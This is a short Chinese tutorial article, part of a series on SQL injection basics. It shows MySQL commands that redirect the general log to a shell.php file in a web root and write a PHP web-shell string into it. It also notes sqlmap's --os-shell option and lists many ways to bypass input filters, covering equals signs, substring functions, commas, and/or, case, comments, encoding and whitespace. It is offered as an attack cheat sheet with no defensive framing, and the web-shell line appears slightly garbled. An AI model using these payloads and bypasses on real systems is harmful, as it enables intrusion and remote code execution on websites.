欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

SQL 注入基础知识-4

最编程 2024-05-06 08:02:47
...
  • show variables like '%general%';      #查看
  • set global general_log = on;                #开启日志
  • set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php';                #设置日志路径

3、执行select '<?php @_POST['cmd']?>'就可以在日志文件里

三、--os-shell参数

1、使用sqlmap去跑。前提有SQL注入漏洞

2、条件:secure_file_priv没有具体值和知道网站的绝对路径

绕过

一、等号被过滤

1、使用算术运算符【<   >   <> 】

注:<>为不等于,相当于!=

2、使用like,rlike,regexp语句

注:like结合通配符(%,_)使用。rlike,regexp结合正则使用

3、使用in,between语句

二、截取函数substr,mid被过滤

1、使用locate函数

locate(str1,str2):返回str1在str2第一次出现的位置,没有返回0

locate(str1,str2,pos):pos为起始位置。如果一个字符在字符串中出现两次,pos必须大于第一次出现的位置。

2、使用position函数

position(str1 in str2):返回str1在str2出现的位置,没有返回0。str1为str2的子字符串

3、使用instr函数

instr(str1,str2):返回str2在str1出现的位置,没有返回0。str2为str1的子字符串

4、lpad和rpad函数:用于在字符串前面或后面添加特定字符的函数

lpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在前面添加特定字符。

rpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在后面添加特定字符。

三、逗号被过滤

1、将逗号进行URL编码成%2C

2、使用from xx for xx,from xx

如select substr(database()from 1 for 1)='s'

四、and/or被过滤

1、使用&&、||

注:在oracle数据库中,||为拼接字符。

2、like,需要与if函数使用

五、其他绕过

1、大小写绕过

2、双写绕过

3、注释符绕过://、--、/**/、;、--+、%00

4、编码绕过

5、空格绕过:%20、/**/、%0a、/*!*/、%09

6、内联注释:/*!12345user()*/

7、扰乱原始的sql查询语句结构